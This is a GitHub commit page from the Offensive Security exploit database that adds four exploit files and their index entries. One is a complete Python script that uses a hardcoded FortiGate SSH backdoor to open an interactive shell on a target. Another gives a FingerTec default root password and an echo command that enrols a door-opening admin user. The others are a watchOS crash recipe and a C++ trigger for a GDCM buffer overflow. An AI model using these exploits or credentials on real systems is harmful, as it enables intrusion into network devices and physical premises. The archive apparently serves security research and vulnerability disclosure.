Skip to content

Commit cecdd9a

Browse files
author
Offensive Security
committed
DB: 2016-01-13
5 new exploits
1 parent f667285 commit cecdd9a

6 files changed

Lines changed: 476 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35399,6 +35399,8 @@ id,file,description,date,author,platform,type,port
3539935399
39145,platforms/cgi/webapps/39145.txt,"Xangati XSR And XNR 'gui_input_test.pl' Remote Command Execution Vulnerability",2014-04-14,"Jan Kadijk",cgi,webapps,0
3540035400
39146,platforms/php/webapps/39146.txt,"Jigowatt PHP Event Calendar 'day_view.php' SQL Injection Vulnerability",2014-04-14,"Daniel Godoy",php,webapps,0
3540135401
39147,platforms/osx/local/39147.c,"Apple Mac OS X Local Security Bypass Vulnerability",2014-04-22,"Ian Beer",osx,local,0
35402+
39225,platforms/hardware/dos/39225.txt,"Apple watchOS 2 - Crash PoC",2016-01-12,"Mohammad Reza Espargham",hardware,dos,0
35403+
39227,platforms/hardware/remote/39227.txt,"FingerTec Fingerprint Reader - Remote Access and Remote Enrollment",2016-01-12,"Daniel Lawson",hardware,remote,0
3540235404
39150,platforms/php/webapps/39150.txt,"Open Audit SQL Injection Vulnerability",2016-01-02,"Rahul Pratap Singh",php,webapps,0
3540335405
39151,platforms/lin_x86-64/shellcode/39151..c,"x86_64 Linux bind TCP port shellcode",2016-01-02,Scorpion_,lin_x86-64,shellcode,0
3540435406
39152,platforms/linux/shellcode/39152..c,"TCP Bindshell with Password Prompt - 162 bytes",2016-01-02,"Sathish kumar",linux,shellcode,0
@@ -35469,3 +35471,6 @@ id,file,description,date,author,platform,type,port
3546935471
39221,platforms/win64/dos/39221.txt,"Adobe Flash - Use-After-Free When Setting Stage",2016-01-11,"Google Security Research",win64,dos,0
3547035472
39222,platforms/multiple/remote/39222.txt,"Foreman Smart-Proxy Remote Command Injection Vulnerability",2014-06-05,"Lukas Zapletal",multiple,remote,0
3547135473
39223,platforms/php/webapps/39223.txt,"ZeusCart 'prodid' Parameter SQL Injection Vulnerability",2014-06-24,"Kenny Mathis",php,webapps,0
35474+
39224,platforms/hardware/remote/39224.py,"FortiGate OS Version 4.x - 5.0.7 - SSH Backdoor",2016-01-12,operator8203,hardware,remote,22
35475+
39229,platforms/linux/dos/39229.cpp,"Grassroots DICOM (GDCM) 2.6.0 and 2.6.1 - ImageRegionReader::ReadIntoBuffer Buffer Overflow",2016-01-12,"Stelios Tsampas",linux,dos,0
35476+
39230,platforms/linux/local/39230.c,"Linux Kernel overlayfs - Local Privilege Escalation",2016-01-12,halfdog,linux,local,0

‎platforms/hardware/dos/39225.txt‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#[+] Title: Apple watchOS - Remote Crash Exploit
2+
#[+] Product: Apple
3+
#[+] Vendor: www.apple.com
4+
#[+] SoftWare Link : www.apple.com/watchos-2/
5+
#[+] Vulnerable Version(s): watchOS on IOS 9.0.1
6+
#
7+
#
8+
# Author : Mohammad Reza Espargham
9+
# Linkedin : https://ir.linkedin.com/in/rezasp
10+
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
11+
# Website : www.reza.es
12+
# Twitter : https://twitter.com/rezesp
13+
# FaceBook : https://www.facebook.com/reza.espargham
14+
15+
16+
# 1. open your phone Clock / goto Alarm
17+
# 2. add alarm / set time [for example two minutes later]
18+
# 3. click label / input 5000 x “0"
19+
# 4. Save
20+
# 5. Lock Your phone and wait for alarm
21+
# 6. When the alarm clock rings / Watch Crashed ;)
22+
23+
24+
25+

‎platforms/hardware/remote/39224.py‎

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#!/usr/bin/env python
2+
3+
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
4+
# Usage: ./fgt_ssh_backdoor.py <target-ip>
5+
6+
import socket
7+
import select
8+
import sys
9+
import paramiko
10+
from paramiko.py3compat import u
11+
import base64
12+
import hashlib
13+
import termios
14+
import tty
15+
16+
def custom_handler(title, instructions, prompt_list):
17+
n = prompt_list[0][0]
18+
m = hashlib.sha1()
19+
m.update('\x00' * 12)
20+
m.update(n + 'FGTAbc11*xy+Qqz27')
21+
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
22+
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
23+
return [h]
24+
25+
26+
def main():
27+
if len(sys.argv) < 2:
28+
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
29+
exit(-1)
30+
31+
client = paramiko.SSHClient()
32+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
33+
34+
try:
35+
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
36+
except paramiko.ssh_exception.SSHException:
37+
pass
38+
39+
trans = client.get_transport()
40+
try:
41+
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
42+
except paramiko.ssh_exception.AuthenticationException:
43+
pass
44+
45+
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
46+
chan = client.invoke_shell()
47+
48+
oldtty = termios.tcgetattr(sys.stdin)
49+
try:
50+
tty.setraw(sys.stdin.fileno())
51+
tty.setcbreak(sys.stdin.fileno())
52+
chan.settimeout(0.0)
53+
54+
while True:
55+
r, w, e = select.select([chan, sys.stdin], [], [])
56+
if chan in r:
57+
try:
58+
x = u(chan.recv(1024))
59+
if len(x) == 0:
60+
sys.stdout.write('\r\n*** EOF\r\n')
61+
break
62+
sys.stdout.write(x)
63+
sys.stdout.flush()
64+
except socket.timeout:
65+
pass
66+
if sys.stdin in r:
67+
x = sys.stdin.read(1)
68+
if len(x) == 0:
69+
break
70+
chan.send(x)
71+
72+
finally:
73+
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
74+
75+
76+
if __name__ == '__main__':
77+
main()

‎platforms/hardware/remote/39227.txt‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Exploit Title: Default Root Password and Remote Enrollment on FingerTec Devices
2+
# Date: 12-01-2016
3+
# Exploit Author: Daniel Lawson
4+
# Contact: http://twitter.com/fang0654
5+
# Website: https://digital-panther.com
6+
# Category: physical access control
7+
8+
1. Description
9+
10+
Almost all FingerTec Access Control devices are running with open telnet, with a hardcoded default root password. Additionally, it is trivial to enroll a new administrative user on the device with a pin code or RFID card that will allow opening the door.
11+
12+
2. Proof of Concept
13+
14+
Login to telnet with the credentials: root / founder88
15+
At the console type in the command:
16+
echo -n -e \\\\x39\\\\x5\\\\x6\\\\x31\\\\x32\\\\x33\\\\x34\\\\x35\\\\x48\\\\x61\\\\x78\\\\x78\\\\x30\\\\x72\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x1\\\\x0\\\\x0\\\\x39\\\\x5\\\\x0\\\\x0 >> user.dat
17+
This will create a user named Haxx0r with an id of 1337 and a pin of 12345.
18+
---
19+
20+
Daniel Lawson
21+
Digital Panther Security
22+
https://digital-panther.com
23+

‎platforms/linux/dos/39229.cpp‎

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
/*
2+
Grassroots DICOM (GDCM) is a C++ library for processing DICOM medical
3+
images.
4+
It provides routines to view and manipulate a wide range of image formats
5+
and can be accessed through many popular programming languages like Python,
6+
C#, Java and PHP.
7+
8+
GDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone
9+
to an
10+
integer overflow vulnerability which leads to a buffer overflow and
11+
potentially to remote code execution. The vulnerability is triggered by the
12+
exposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies
13+
DICOM
14+
image data to a buffer. ReadIntoBuffer checks whether the supplied
15+
buffer is
16+
large enough to hold the necessary data, however in this check it fails to
17+
detect the occurrence of an integer overflow, which leads to a buffer
18+
overflow
19+
later on in the code. The buffer overflow will occur regardless of the
20+
size of
21+
the buffer supplied to the ReadIntoBuffer call.
22+
23+
More information about this vulnerability can be found at
24+
http://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/
25+
26+
The GDCM project has released version 2.6.2 that addresses this issue.
27+
It is advised to upgrade all GDCM installations to the latest stable
28+
release.
29+
30+
Disclosure Timeline
31+
-------------------
32+
CVE assignment: December 2nd, 2015
33+
Vendor Contact: December 4th, 2015
34+
Vendor Patch Release: December 23rd, 2015
35+
Public Advisory: January 11th, 2016
36+
*/
37+
38+
#include "gdcmReader.h"
39+
#include "gdcmImageReader.h"
40+
#include "gdcmImageRegionReader.h"
41+
#include "gdcmBoxRegion.h"
42+
#include "gdcmImageHelper.h"
43+
44+
#include <iostream>
45+
46+
using namespace std;
47+
48+
/*
49+
* A simple demonstration of CVE-2015-8396
50+
* by Stelios Tsampas (stelios at census-labs.com)
51+
* based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html
52+
*
53+
* Compiles with:
54+
* $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED
55+
*
56+
* Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2
57+
* https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39229.zip
58+
* $ bzip2 -d CVE-2015-8396.dcm.bz2
59+
* $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm
60+
*/
61+
62+
int main(int argc, char *argv [])
63+
{
64+
char buffer[2048 * 2047];
65+
gdcm::ImageRegionReader reader;
66+
gdcm::BoxRegion box;
67+
68+
if (argc < 2) {
69+
cout << "Usage: example <input-file>\n";
70+
return 1;
71+
}
72+
73+
const char *filename = argv[1];
74+
reader.SetFileName(filename);
75+
76+
if (!reader.ReadInformation()) {
77+
cout << "No info from file\n";
78+
return 1;
79+
}
80+
81+
std::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile());
82+
cout << "x: " << dims[0] << ", y: " << dims[1] << ", z: " << dims[2] << "\n";
83+
84+
box.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1);
85+
reader.SetRegion(box);
86+
reader.ReadIntoBuffer(buffer, sizeof(buffer));
87+
88+
return 0;
89+
}

0 commit comments

Comments
 (0)